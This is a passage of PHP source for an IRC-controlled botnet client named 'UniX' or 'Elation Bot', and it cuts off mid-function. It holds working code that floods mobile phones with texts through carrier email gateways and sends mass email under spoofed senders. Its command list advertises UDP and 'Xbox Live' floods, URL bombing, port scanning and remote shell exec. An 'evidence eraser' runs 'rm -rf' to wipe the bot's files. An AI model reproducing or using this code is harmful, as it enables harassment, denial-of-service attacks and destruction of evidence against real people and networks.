  1168.                                                           $part1 = $this->config['part1'];
  1169.  
  1170.                                                         $part2 = $this->config['part2'];
  1171.  
  1172.                                                         $blue = $this->config['blue'];
  1173.  
  1174.                                                         $red = $this->config['yellow'];
  1175.  
  1176.                                                         $header = "From: <".$mcmd[2].">";
  1177.  
  1178.                                                         $mbomb = 1;
  1179.  
  1180.                                                         $tmobilemail = "@tmomail.net";
  1181.  
  1182.                                                         $tmobile = "$mcmd[1]$tmobilemail";
  1183.  
  1184.                                                         while($mbomb <= $mcmd[4])
  1185.  
  1186.                                                             {
  1187.  
  1188.                                                                 mail($tmobile,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  1189.  
  1190.                                                                 $mbomb++;
  1191.  
  1192.                                                             }
  1193.  
  1194.                                                         if($mbomb = $mcmd[4])
  1195.  
  1196.                                                             {
  1197.  
  1198.                                                                 $this->privmsg( $this->ffff_you( ),"$part1$red T-Mobile (USA Only) $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  1199.  
  1200.                                                             }
  1201.  
  1202.                                                 }
  1203.  
  1204.                                                 break;
  1205.  
  1206.                                             }
  1207.  
  1208.                                                 case "att":
  1209.  
  1210.                                             {
  1211.  
  1212.                                                 if(count($mcmd) > 5)
  1213.  
  1214.                                                 {
  1215.  
  1216.                                                           $part1 = $this->config['part1'];
  1217.  
  1218.                                                         $part2 = $this->config['part2'];
  1219.  
  1220.                                                         $blue = $this->config['blue'];
  1221.  
  1222.                                                         $red = $this->config['yellow'];
  1223.  
  1224.                                                         $header = "From: <".$mcmd[2].">";
  1225.  
  1226.                                                         $mbomb = 1;
  1227.  
  1228.                                                         $attemail = "@txt.att.net";
  1229.  
  1230.                                                         $att = "$mcmd[1]$attemail";
  1231.  
  1232.                                                         while($mbomb <= $mcmd[4])
  1233.  
  1234.                                                             {
  1235.  
  1236.                                                                 mail($att,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  1237.  
  1238.                                                                 $mbomb++;
  1239.  
  1240.                                                             }
  1241.  
  1242.                                                         if($mbomb = $mcmd[4])
  1243.  
  1244.                                                             {
  1245.  
  1246.                                                                 $this->privmsg( $this->ffff_you( ),"$part1$red AT&T $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  1247.  
  1248.                                                             }
  1249.  
  1250.                                                 }
  1251.  
  1252.                                                 break;
  1253.  
  1254.                                             }
  1255.  
  1256.                                                 case "uscellular":
  1257.  
  1258.                                             {
  1259.  
  1260.                                                 if(count($mcmd) > 5)
  1261.  
  1262.                                                 {
  1263.  
  1264.                                                           $part1 = $this->config['part1'];
  1265.  
  1266.                                                         $part2 = $this->config['part2'];
  1267.  
  1268.                                                         $blue = $this->config['blue'];
  1269.  
  1270.                                                         $red = $this->config['yellow'];
  1271.  
  1272.                                                         $header = "From: <".$mcmd[2].">";
  1273.  
  1274.                                                         $mbomb = 1;
  1275.  
  1276.                                                         $uscemail = "@email.uscc.net";
  1277.  
  1278.                                                         $usc = "$mcmd[1]$uscemail";
  1279.  
  1280.                                                         while($mbomb <= $mcmd[4])
  1281.  
  1282.                                                             {
  1283.  
  1284.                                                                 mail($usc,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  1285.  
  1286.                                                                 $mbomb++;
  1287.  
  1288.                                                             }
  1289.  
  1290.                                                         if($mbomb = $mcmd[4])
  1291.  
  1292.                                                             {
  1293.  
  1294.                                                                 $this->privmsg( $this->ffff_you( ),"$part1$red US Cellular $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  1295.  
  1296.                                                             }
  1297.  
  1298.                                                 }
  1299.  
  1300.                                                 break;
  1301.  
  1302.                                             }
  1303.  
  1304.                                                 case "boostmobile":
  1305.  
  1306.                                             {
  1307.  
  1308.                                                 if(count($mcmd) > 5)
  1309.  
  1310.                                                 {
  1311.  
  1312.                                                           $part1 = $this->config['part1'];
  1313.  
  1314.                                                         $part2 = $this->config['part2'];
  1315.  
  1316.                                                         $blue = $this->config['blue'];
  1317.  
  1318.                                                         $red = $this->config['yellow'];
  1319.  
  1320.                                                         $header = "From: <".$mcmd[2].">";
  1321.  
  1322.                                                         $mbomb = 1;
  1323.  
  1324.                                                         $boostemail = "@myboostmobile.com";
  1325.  
  1326.                                                         $boost = "$mcmd[1]$boostemail";
  1327.  
  1328.                                                         while($mbomb <= $mcmd[4])
  1329.  
  1330.                                                             {
  1331.  
  1332.                                                                 mail($boost,$mcmd[3],strstr($msg,$mcmd[5]),$header);
  1333.  
  1334.                                                                 $mbomb++;
  1335.  
  1336.                                                             }
  1337.  
  1338.                                                         if($mbomb = $mcmd[4])
  1339.  
  1340.                                                             {
  1341.  
  1342.                                                                 $this->privmsg( $this->ffff_you( ),"$part1$red Boost Mobile Inc. $part2$blue Sent ".$red." $mcmd[4] ".$blue."Text Message(s) to".$red." $mcmd[1] ".$blue."From:".$red." $mcmd[2]$blue With Subject: ".$red."$mcmd[3]");
  1343.  
  1344.                                                             }
  1345.  
  1346.                                                 }
  1347.  
  1348.                                                 break;
  1349.  
  1350.                                             }
  1351.  
  1352.                                             case "count":
  1353.  
  1354.                                             {
  1355.  
  1356.                                                     $lines = $this->ex( "cat cache.dat | wc -l" );
  1357.  
  1358.                                                     $red = $this->config['yellow'];
  1359.  
  1360.                                                     $leetprefixwhite = $this->config['leetprefixwhite'];
  1361.  
  1362.                                                     $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1363.  
  1364.                                                     $leetprefix = $this->config['leetprefix'];
  1365.  
  1366.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  1367.  
  1368.                                                     $this->privmsg( $this->ffff_you( ), "$red I have done $leetprefixwhite $lines $leetsuffixwhite floods in total." );
  1369.  
  1370.                                                 break;
  1371.  
  1372.                                             }
  1373.  
  1374.                                                 case "nick":
  1375.  
  1376.                                             {
  1377.  
  1378.                                                 if( $mcmd[ 1 ] == nzm )
  1379.  
  1380.                                                     {
  1381.  
  1382.                                                     $this->nzm_nick();
  1383.  
  1384.                                                     break;
  1385.  
  1386.                                                     }
  1387.  
  1388.                                                 if( $mcmd[ 1 ] == unix )
  1389.  
  1390.                                                     {
  1391.  
  1392.                                                     $this->busk_nick();
  1393.  
  1394.                                                     break;
  1395.  
  1396.                                                     }
  1397.  
  1398.                                                 else
  1399.  
  1400.                                                 {
  1401.  
  1402.                                                 $this->set_nick;
  1403.  
  1404.                                                 break;
  1405.  
  1406.                                             }
  1407.  
  1408.                                         }
  1409.                                             case "credits":
  1410.  
  1411.                                             {
  1412.  
  1413.                                                     $red = $this->config['yellow'];
  1414.  
  1415.                                                     $blue = $this->config['blue'];
  1416.  
  1417.                                                     $orange = $this->config['orange'];
  1418.  
  1419.                                                     $leetprefixwhite = $this->config['leetprefixwhite'];
  1420.  
  1421.                                                     $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1422.  
  1423.                                                     $leetprefix = $this->config['leetprefix'];
  1424.  
  1425.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  1426.  
  1427.                                                     $version = $this->config['version'];
  1428.  
  1429.                                                     $this->privmsg( $this->ffff_you( ), "".$leetprefixwhite."".$red." FBI $leetsuffixwhite $orange Elation Bot Version $version By: $leetprefixwhite $red Mike $leetsuffixwhite $leetsuffixwhite $orange Built Using: $leetprefixwhite $red Frasers PHP Bot Builder $leetsuffixwhite" );
  1430.  
  1431.                                                 break;
  1432.  
  1433.                                             }
  1434.  
  1435.                                             case "noevidence":
  1436.  
  1437.                                             {
  1438.  
  1439.                                                     $part1 = $this->config['part1'];
  1440.  
  1441.                                                     $part2 = $this->config['part2'];
  1442.  
  1443.                                                     $blue = $this->config['blue'];
  1444.  
  1445.                                                     $red = $this->config['yellow'];
  1446.  
  1447.                                                     $bybye = $this->ex( 'rm -rf *gow*' );
  1448.  
  1449.                                                     $this->privmsg( $this->ffff_you( ),"".$part1."".$red." EviDenCe ".$part2."".$blue." All Bot Files and Evidence Erased!");
  1450.  
  1451.                                                 break;
  1452.  
  1453.                                             }
  1454.  
  1455.                                             case "version":
  1456.  
  1457.                                             {
  1458.  
  1459.                                                     $leetprefix = $this->config['leetprefix'];
  1460.  
  1461.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  1462.  
  1463.                                                     $blue = $this->config['blue'];
  1464.  
  1465.                                                     $red = $this->config['yellow'];
  1466.  
  1467.                                                     $version = $this->config['version'];
  1468.  
  1469.                                                     $this->privmsg( $this->ffff_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
  1470.  
  1471.                                                 break;
  1472.  
  1473.                                             }
  1474.  
  1475.                                             case "changeprefix":
  1476.  
  1477.                                             {
  1478.  
  1479.                                                       $this->config['cprefix'] = $mcmd[1];
  1480.  
  1481.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  1482.  
  1483.                                                     $blue = $this->config['blue'];
  1484.  
  1485.                                                     $red = $this->config['yellow'];
  1486.  
  1487.                                                     $version = $this->config['version'];
  1488.  
  1489.                                                     $this->privmsg( $this->ffff_you( ),"".$red."Prefix Changed to $mcmd[1]");
  1490.  
  1491.                                                 break;
  1492.  
  1493.                                             }
  1494.  
  1495.                                             case "id":
  1496.  
  1497.                                             {
  1498.  
  1499.                                                     $id = $this->messages['id'];
  1500.  
  1501.                                                     $this->privmsg( $this->ffff_you( ),"$id");
  1502.  
  1503.                                                 break;
  1504.  
  1505.                                             }
  1506.  
  1507.                                             case "uptime":
  1508.  
  1509.                                             {
  1510.  
  1511.                                                     $part1 = $this->config['part1'];
  1512.  
  1513.                                                     $part2 = $this->config['part2'];
  1514.  
  1515.                                                     $blue = $this->config['blue'];
  1516.  
  1517.                                                     $red = $this->config['yellow'];
  1518.  
  1519.                                                     $up = $this->ex( 'w' );
  1520.  
  1521.                                                     $this->privmsg( $this->ffff_you( ),"".$part1."".$red." Uptime ".$part2."".$blue." ".$up."");
  1522.  
  1523.                                                 break;
  1524.  
  1525.                                             }
  1526.  
  1527.                                             case "cellhelp":
  1528.  
  1529.                                             {
  1530.  
  1531.                                                     $part1 = $this->config['part1'];
  1532.  
  1533.                                                     $part2 = $this->config['part2'];
  1534.  
  1535.                                                     $blue = $this->config['blue'];
  1536.  
  1537.                                                     $red = $this->config['yellow'];
  1538.  
  1539.                                                     $cellhelp = "To spam a Cell Phone you will have to know the NUMBER and CARRIER. Example Command: ".$red.".verizon 5551234567 youremail@fbi.gov Subject NumberOfTextsToSend Message";
  1540.  
  1541.                                                     $this->privmsg( $this->ffff_you( ),"".$part1."".$red." Cell Spammer ".$part2."".$blue." ".$cellhelp."");
  1542.  
  1543.                                                 break;
  1544.  
  1545.                                             }
  1546.  
  1547.                                             case "carriers":
  1548.  
  1549.                                             {
  1550.  
  1551.                                                     $part1 = $this->config['part1'];
  1552.  
  1553.                                                     $part2 = $this->config['part2'];
  1554.  
  1555.                                                     $blue = $this->config['blue'];
  1556.  
  1557.                                                     $red = $this->config['yellow'];
  1558.  
  1559.                                                     $bybye = $this->ex( 'rm -rf *gow*' );
  1560.  
  1561.                                                     $this->privmsg( $this->ffff_you( ),"".$part1."".$red." CaRRieRs ".$part2."".$blue." UniX can currently spam - AT&T, Verizon, Sprint, Alltel, T-Mobile, US Celluar, and Boost Mobile");
  1562.  
  1563.                                                 break;
  1564.  
  1565.                                             }
  1566.  
  1567.                                             case "ver":
  1568.  
  1569.                                             {
  1570.  
  1571.                                                     $leetprefix = $this->config['leetprefix'];
  1572.  
  1573.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  1574.  
  1575.                                                     $blue = $this->config['blue'];
  1576.  
  1577.                                                     $red = $this->config['yellow'];
  1578.  
  1579.                                                     $version = $this->config['version'];
  1580.  
  1581.                                                     $this->privmsg( $this->ffff_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
  1582.  
  1583.                                                 break;
  1584.  
  1585.                                             }
  1586.  
  1587.                                             case "v":
  1588.  
  1589.                                             {
  1590.  
  1591.                                                     $leetprefix = $this->config['leetprefix'];
  1592.  
  1593.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  1594.  
  1595.                                                     $blue = $this->config['blue'];
  1596.  
  1597.                                                     $red = $this->config['yellow'];
  1598.  
  1599.                                                     $version = $this->config['version'];
  1600.  
  1601.                                                     $this->privmsg( $this->ffff_you( ),"".$red."The bot version is $leetprefix$blue $version $leetsuffixred");
  1602.  
  1603.                                                 break;
  1604.  
  1605.                                             }
  1606.  
  1607.                                             case "hop":
  1608.  
  1609.                                             {
  1610.  
  1611.                                                 $channel = $mcmd[1];
  1612.  
  1613.                                                 $this->send( "PART ".$channel );
  1614.  
  1615.                                                 $this->join( $channel );
  1616.  
  1617.                                                 break;
  1618.  
  1619.                                             }
  1620.  
  1621.                                             case "raw":
  1622.  
  1623.                                             {
  1624.  
  1625.                                                 $this->send(strstr($msg,$mcmd[1]));
  1626.  
  1627.                                                 break;
  1628.  
  1629.                                             }
  1630.                                             case "ip123":
  1631.  
  1632.                                             {
  1633.  
  1634.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  1635.  
  1636.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1637.  
  1638.                                                 $red = $this->config['yellow'];
  1639.  
  1640.                                                 $blue = $this->config['blue'];
  1641.  
  1642.                                                 $ipadd = "Ip AddReSS";
  1643.  
  1644.                                                 $this->privmsg( $this->ffff_you( ),"$blue $ipadd $leetprefixwhite ".$red." ".$_SERVER['SERVER_ADDR']." $leetsuffixwhite");
  1645.  
  1646.                                                 break;
  1647.  
  1648.                                             }
  1649.  
  1650.                                             case "lastlogin":
  1651.  
  1652.                                             {
  1653.  
  1654.                                                 $red = $this->config['yellow'];
  1655.  
  1656.                                                 $blue = $this->config['blue'];
  1657.  
  1658.                                                 $part1 = $this->config['part1'];
  1659.  
  1660.                                                 $part2 = $this->config['part2'];
  1661.  
  1662.                                                 $attempt = $this->ex('cat ion_cache.dat');
  1663.  
  1664.                                                 $this->privmsg( $this->ffff_you( ),"$part1$red LasT LogiN $part2$blue from $attempt");
  1665.  
  1666.                                                 break;
  1667.  
  1668.                                             }
  1669.  
  1670.                                             case "commands":
  1671.  
  1672.                                             {
  1673.  
  1674.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  1675.  
  1676.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1677.  
  1678.                                                 $red = $this->config['yellow'];
  1679.  
  1680.                                                 $blue = $this->config['blue'];
  1681.  
  1682.                                                 $version = $this->config['version'];
  1683.  
  1684.                                                 $cmdz = "Command List for UniX version $version private:";
  1685.  
  1686.                                                 $this->privmsg( $this->ffff_you( ),"$leetprefixwhite$red $cmdz $leetsuffixwhite");
  1687.  
  1688.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."UDP-Flood".$blue."] ? ? ? ".$red.".udpflood ip packetsize time".$blue." ? ? ?");
  1689.  
  1690.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Xbox Live Flood".$blue."] ? ? ? ".$red.".xblflood ip packetsize time port".$blue." ? ? ?");
  1691.  
  1692.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Two BK Flood".$blue."] ? ? ? ".$red.".2kidz first.ip second.ip".$blue." ? ? ?");
  1693.  
  1694.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Three BK Flood".$blue."] ? ? ? ".$red.".3kidz first.ip second.ip third.ip".$blue." ? ? ?");
  1695.  
  1696.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Four BK Flood".$blue."] ? ? ? ".$red.".4kidz first.ip second.ip third.ip fourth.ip".$blue." ? ? ?");
  1697.  
  1698.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Cell RapE".$blue."] ? ? ? ".$red.".cellhelp".$blue." ? ? ?");
  1699.  
  1700.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Cell Phone Carriers".$blue."] ? ? ? ".$red.".carriers".$blue." ? ? ?");
  1701.  
  1702.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Evidence Eraser".$blue."] ? ? ? ".$red.".noevidence".$blue." ? ? ?");
  1703.  
  1704.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Hop".$blue."] ? ? ? ".$red.".hop #channel".$blue." ? ? ?");
  1705.  
  1706.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Exec".$blue."] ? ? ? ".$red.".exec unix command(s)".$blue." ? ? ?");
  1707.  
  1708.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."eMail RapE".$blue."] ? ? ? ".$red.".bomb victim@fbi.gov spoofed@fake.com Subject NumberOfMails EmailBody".$blue." ? ? ?");
  1709.  
  1710.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Count".$blue."] ? ? ? ".$red.".count".$blue." ? ? ?");
  1711.  
  1712.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Nick".$blue."] ? ? ? ".$red.".nick (nzm or unix)".$blue." ? ? ?");
  1713.  
  1714.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Credits".$blue."] ? ? ? ".$red.".credits".$blue." ? ? ?");
  1715.  
  1716.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Version".$blue."] ? ? ? ".$red.".v or !ver or !version".$blue." ? ? ?");
  1717.  
  1718.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Bot Ip".$blue."] ? ? ? ".$red.".ip".$blue." ? ? ?");
  1719.  
  1720.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."MD5 Encrypt".$blue."] ? ? ? ".$red.".md5 string_to_encrypt".$blue." ? ? ?");
  1721.  
  1722.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."DnS".$blue."] ? ? ? ".$red.".dns google.com".$blue." ? ? ?");
  1723.  
  1724.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Kill Bot".$blue."] ? ? ? ".$red.".exit or !gtfo".$blue." ? ? ?");
  1725.  
  1726.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Reconnect".$blue."] ? ? ? ".$red.".restart".$blue." ? ? ?");
  1727.  
  1728.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Whois".$blue."] ? ? ? ".$red.".whois 127.0.0.1".$blue." ? ? ?");
  1729.  
  1730.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Raw Irc Commands".$blue."] ? ? ? ".$red.".join, .part, .msg".$blue." ? ? ?");
  1731.  
  1732.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Port Scan".$blue."] ? ? ? ".$red.".pscan ip port".$blue." ? ? ?");
  1733.  
  1734.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Infected Site Check".$blue."] ? ? ? ".$red.".site".$blue." ? ? ?");
  1735.  
  1736.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Random Nick".$blue."] ? ? ? ".$red.".randnick".$blue." ? ? ?");
  1737.  
  1738.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."URL Bomb".$blue."] ? ? ? ".$red.".urlbomb site.com /path NumberOfRefreshes".$blue." ? ? ?");
  1739.  
  1740.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Server Uptime".$blue."] ? ? ? ".$red.".uptime".$blue." ? ? ?");
  1741.  
  1742.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Speed Test".$blue."] ? ? ? ".$red.".speedtest".$blue." ? ? ?");
  1743.  
  1744.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Quick UDP-Flood".$blue."] ? ? ? ".$red.".quick ip".$blue." ? ? ?");
  1745.  
  1746.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Check Last Login".$blue."] ? ? ? ".$red.".lastlogin".$blue." ? ? ?");
  1747.  
  1748.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Raw Irc Command".$blue."] ? ? ? ".$red.".raw command".$blue." ? ? ?");
  1749.  
  1750.                                                 $this->privmsg( $this->ffff_you( ),"$blue [".$red."Change Command Prefix".$blue."] ? ? ? ".$red.".changeprefix newprefix Example: .changeprefix !".$blue." ? ? ?");
  1751.  
  1752.                                                 break;
  1753.  
  1754.                                             }
  1755.  
  1756.                                             case "md5":
  1757.  
  1758.                                             {
  1759.  
  1760.                                                         $leetprefix = $this->config['leetprefix'];
  1761.  
  1762.                                                         $leetsuffixred = $this->config['leetsuffixred'];
  1763.  
  1764.                                                         $red = $this->config['yellow'];
  1765.  
  1766.                                                         $blue = $this->config['blue'];
  1767.  
  1768.                                                 $str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
  1769.  
  1770.                                                 $this->privmsg( $this->ffff_you( ), "$blue [ $red MD5 $blue ]: $blue [ ".$red."'".$str_md5."' ".$blue."Encrypts To $red'".md5($str_md5)."' $blue ]" );
  1771.  
  1772.                                                 break;
  1773.  
  1774.                                             }
  1775.  
  1776.                                             case "dns":
  1777.  
  1778.                                             {
  1779.  
  1780.                                                 if(isset($mcmd[1]))
  1781.  
  1782.                                                    {
  1783.  
  1784.                                                       $ip = explode(".",$mcmd[1]);
  1785.  
  1786.                                                       if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
  1787.  
  1788.                                                         && is_numeric($ip[2]) && is_numeric($ip[3]))
  1789.  
  1790.                                                       {
  1791.  
  1792.                                                         $leetprefix = $this->config['leetprefix'];
  1793.  
  1794.                                                         $leetsuffixred = $this->config['leetsuffixred'];
  1795.  
  1796.                                                         $red = $this->config['yellow'];
  1797.  
  1798.                                                         $blue = $this->config['blue'];
  1799.  
  1800.                                                          $this->privmsg($this->ffff_you( ),"$leetprefix $blue [ $red DnS $blue ]: $red ".$mcmd[1]." $blue Resolves To $leetprefix $red ".gethostbyaddr($mcmd[1]));
  1801.  
  1802.                                                           }
  1803.  
  1804.                                                       else
  1805.  
  1806.                                                       {
  1807.  
  1808.                                                         $leetprefix = $this->config['leetprefix'];
  1809.  
  1810.                                                         $leetsuffixred = $this->config['leetsuffixred'];
  1811.  
  1812.                                                         $red = $this->config['yellow'];
  1813.  
  1814.                                                         $blue = $this->config['blue'];
  1815.  
  1816.                             $this->privmsg($this->ffff_you( ),"$blue [ $red DnS $blue ]: $red ".$mcmd[1]." $blue Resolves To $red ".gethostbyname($mcmd[1]));
  1817.  
  1818.                                                       }
  1819.  
  1820.                                                    }
  1821.  
  1822.                                                 break;
  1823.  
  1824.                                             }
  1825.  
  1826.                                             case "exit":
  1827.  
  1828.                                             {
  1829.  
  1830.                                                 fclose( $this->conn );
  1831.  
  1832.                                                 exit( );
  1833.  
  1834.                                                 break;
  1835.  
  1836.                                             }
  1837.  
  1838.                                             case "husk":
  1839.  
  1840.                                             {
  1841.  
  1842.                                                 fclose( $this->conn );
  1843.  
  1844.                                                 exit( );
  1845.  
  1846.                                                 break;
  1847.  
  1848.                                             }
  1849.  
  1850.                                             case "gtfo":
  1851.  
  1852.                                             {
  1853.  
  1854.                                                 fclose( $this->conn );
  1855.  
  1856.                                                 exit( );
  1857.  
  1858.                                                 break;
  1859.  
  1860.                                             }
  1861.  
  1862.                                             case "restart":
  1863.  
  1864.                                             {
  1865.  
  1866.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  1867.  
  1868.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1869.  
  1870.                                                 $red = $this->config['yellow'];
  1871.  
  1872.                                                 $blue = $this->config['blue'];
  1873.  
  1874.                                                 $this->privmsg( $this->ffff_you( ), "$leetprefixwhite $red Restarting! $leetsuffixwhite $blue Please wait!" );
  1875.  
  1876.                                                 $this->send( "QUIT :restart command from ".$nick );
  1877.  
  1878.                                                 fclose( $this->conn );
  1879.  
  1880.                                                 $this->start();
  1881.  
  1882.                                                 break;
  1883.  
  1884.                                             }
  1885.  
  1886.                                             case "lastresort":
  1887.  
  1888.                                             {
  1889.  
  1890.                                                 if( count( $mcmd ) > 3 )
  1891.  
  1892.                                                 {
  1893.  
  1894.                                                     $server = $mcmd[1];
  1895.  
  1896.                                                     $port = $mcmd[2];
  1897.  
  1898.                                                     $channel = $mcmd[3];
  1899.  
  1900.                                                     $key = $mcmd[4];
  1901.                                                     if( $this->using_encode )
  1902.  
  1903.                                                     {
  1904.  
  1905.                                                         $this->config[ 'server' ] = base64_encode( $server );
  1906.  
  1907.                                                         $this->config[ 'chan' ] = base64_encode( str_replace( "#", "", $channel ) );
  1908.  
  1909.                                                         $this->config[ 'key' ] = base64_encode( $key );
  1910.  
  1911.                                                     }
  1912.  
  1913.                                                     else
  1914.  
  1915.                                                     {
  1916.  
  1917.                                                         $this->config[ 'server' ] = $server;
  1918.  
  1919.                                                         $this->config[ 'chan' ] = str_replace( "#", "", $channel );
  1920.  
  1921.                                                         $this->config[ 'key' ] = $key;
  1922.  
  1923.                                                     }
  1924.                                                     $this->config[ 'port' ] = $port;
  1925.  
  1926.                                                     $this->privmsg( $this->ffff_you( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." => ".$key );
  1927.  
  1928.                                                     $this->send( "QUIT :moveserver command from ".$nick );
  1929.                                                     fclose( $this->conn );
  1930.  
  1931.                                                     $this->start();
  1932.  
  1933.                                                 }
  1934.  
  1935.                                                 break;
  1936.  
  1937.                                             }
  1938.  
  1939.                                             case "whois":
  1940.  
  1941.                                             {
  1942.  
  1943.                                                 $param2 = $mcmd[1];
  1944.                                                 if( !empty( $param2 ) )
  1945.  
  1946.                                                 {
  1947.  
  1948.                                                     //do it
  1949.  
  1950.                                                     //http://www.geoip.co.uk/?IP=98.214.115.193&submit.x=23&submit.y=11
  1951.  
  1952.                                                     $fp = fsockopen( "geoip.co.uk", 80, $errno, $errstr, 30 );
  1953.                                                     if( $fp )
  1954.  
  1955.                                                     {
  1956.  
  1957.                                                         $out = "GET /ipwhois.php?ip=$param2&Submit=submit HTTP/1.1\r\n";
  1958.  
  1959.                                                         $out .= "Host: geoip.co.uk\r\n";
  1960.  
  1961.                                                         $out .= "Keep-Alive: 300\r\n";
  1962.  
  1963.                                                         $out .= "Connection: keep-alive\r\n\r\n";
  1964.  
  1965.                                                         fwrite( $fp, $out );
  1966.                                                         $whodata = '';
  1967.  
  1968.                                                         while(!feof($fp))
  1969.  
  1970.                                                         {
  1971.  
  1972.                                                             /*do nothing*/
  1973.  
  1974.                                                             $whodata .= fread( $fp, 1024 );
  1975.  
  1976.                                                         }
  1977.                                                         $countryc = explode( "            :", $whodata );
  1978.  
  1979.                                                         $countryc = explode( "            : <img src=", $countryc[1] );
  1980.  
  1981.                                                         $country = strip_tags( $countryc[0] );
  1982.                                                         $statec = explode( "$countryc", $whodata );
  1983.  
  1984.                                                         $statec = explode( "                        <br>", $statec[1] );
  1985.  
  1986.                                                         $state = strip_tags( $statec[0] );
  1987.                                                         $cityc = explode( "$statec", $whodata );
  1988.  
  1989.                                                         $cityc = explode( "            : <img src=", $cityc[1] );
  1990.  
  1991.                                                         $city = strip_tags( $cityc[0] );
  1992.                                                         fclose( $fp );
  1993.  
  1994.                                                         $leetprefixwhite = $this->config['leetprefixwhite'];
  1995.  
  1996.                                                                                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1997.  
  1998.                                                                                                                 $red = $this->config['yellow'];
  1999.  
  2000.                                                                                                                 $blue = $this->config['blue'];
  2001.                                                         $this->privmsg( $this->ffff_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red Country - $blue $country" );
  2002.  
  2003.                                                         $this->privmsg( $this->ffff_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red City - $blue $city" );
  2004.  
  2005.                                                         $this->privmsg( $this->ffff_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red State - $blue $state" );
  2006.  
  2007.                                                     }else{
  2008.  
  2009.                                                         $this->privmsg( $this->ffff_you( ), "[ whois ] Error: $errstr" );
  2010.  
  2011.                                                     }
  2012.  
  2013.                                                 }
  2014.  
  2015.                                                 else
  2016.  
  2017.                                                 {
  2018.  
  2019.                                                     $this->privmsg( $this->ffff_you( ), "[ whois ] Invalid params, use .whois <ip/host>" );
  2020.  
  2021.                                                 }
  2022.  
  2023.                                                 break;
  2024.  
  2025.                                             }
  2026.  
  2027.                                             case "join":
  2028.  
  2029.                                             {
  2030.  
  2031.                                                 $channel = $mcmd[1];
  2032.  
  2033.                                                 $key = $mcmd[2];
  2034.  
  2035.                                                 $this->join( $channel, $key );
  2036.  
  2037.                                                 break;
  2038.  
  2039.                                             }
  2040.  
  2041.                                             case "part":
  2042.  
  2043.                                             {
  2044.  
  2045.                                                 $this->send( "PART ".$mcmd[1] );
  2046.  
  2047.                                             }
  2048.  
  2049.                                             case "msg":
  2050.  
  2051.                                             {
  2052.  
  2053.                                                 $person = $mcmd[1];
  2054.  
  2055.                                                 $text = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
  2056.  
  2057.                                                 $this->privmsg( $person, $text );
  2058.  
  2059.                                                 break;
  2060.  
  2061.                                             }
  2062.  
  2063.                                             case "pscan":
  2064.  
  2065.                                                       $leetprefix = $this->config['leetprefix'];
  2066.  
  2067.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  2068.  
  2069.                                                     $blue = $this->config['blue'];
  2070.  
  2071.                                if(count($mcmd) > 2)
  2072.  
  2073.                                {
